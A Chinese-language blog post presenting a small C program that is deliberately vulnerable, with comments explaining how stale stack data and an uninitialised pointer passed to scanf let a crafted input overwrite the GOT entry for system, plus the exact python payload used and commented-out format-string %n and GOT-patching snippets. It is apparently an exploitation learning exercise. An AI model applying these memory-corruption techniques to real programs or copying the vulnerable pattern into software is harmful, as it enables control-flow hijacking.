Chinaunix首页 | 论坛 | 博客
  • 博客访问: 17977
  • 博文数量: 2
  • 博客积分: 15
  • 博客等级: 民兵
  • 技术积分: 30
  • 用 户 组: 普通用户
  • 注册时间: 2011-07-17 02:00
个人简介

.........................

文章分类

全部博文(2)

文章存档

2016年(1)

2015年(1)

我的朋友

分类: LINUX

2015-10-21 10:05:50


点击(此处)折叠或打开

  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <unistd.h>

  4. void kkkkkk(char *str)
  5. {
  6.     printf(str);
  7. }

  8. void login()
  9. {
  10.     int passcode1;
  11.     //passcode1变量的值是0x080497a4,也就是GOT中储存system函数地址的地址是080497a4
  12. /*
  13.     08048474 <kkkkkk>:
  14.     08048474:    55 push %ebp
  15. */
  16.     //那么scanf时输入kkkkkk函数地址0x08048474,十进制134513780。
  17.     scanf("%d",passcode1);
  18.     //现在修改了GOT中system函数地址为kkkkkk函数地址。
  19.     system("fuck\n");
  20.     //现在调用system函数就是调用的kkkkkk函数。
  21. }

  22. void welcome()
  23. {
  24.     //调试可知,在welcome()函数中name的最后4字节与login()函数中passcode1变量值一样。
  25.     char name[12];
  26.     printf("GOT system address : ");
  27.     //objdump -R kkkkkk
  28.     //GOT中储存system函数地址的地址是080497a4 R_386_JUMP_SLOT system
  29.     //既然name的最后4字节与login()函数中passcode1变量值一样。
  30.     //那么scanf时输入字符串kkkkkkkk+0xa4,0x97,0x04,0x08
  31.     scanf("%s", name);
  32.     //现在login()函数中passcode1变量的值是0x080497a4
  33.     printf("Welcome %s!\n", name);
  34. }

  35. /*
  36. [kkk@localhost GNU-Linux-x86]$ python -c "print('k'*8+'\xa4\x97\x04\x08'+'\n'+'134513780\n')" | ./kkkkkk
  37. GOT system address : Welcome
  38. fuck
  39. */

  40. int main(int argc, char** argv) {
  41.     welcome();
  42.     login();
  43. /*
  44. //##############################################################################
  45. //$表示使用第几个参数,%n是一个不经常用到的格式符,它的作用是把前面已经打印的长度写入某个内存地址。
  46.     int arr=6;
  47.     argv=&arr;
  48.     printf("%100d%13$n\n");
  49. //##############################################################################
  50. //利用PLT延迟绑定,修改GOT来改变system函数地址。
  51.     argc=*(int*)((char*)system+2);
  52.     *((int*)argc)=(int)kkkkkk;
  53.     system("hello world\n");
  54. */
  55.     sleep(60000);
  56.     return (EXIT_SUCCESS);
  57. }

阅读(1931) | 评论(0) | 转发(0) |
0

上一篇:没有了

下一篇:Linux堆溢出之fastbin控制malloc返回地址

给主人留下些什么吧!~~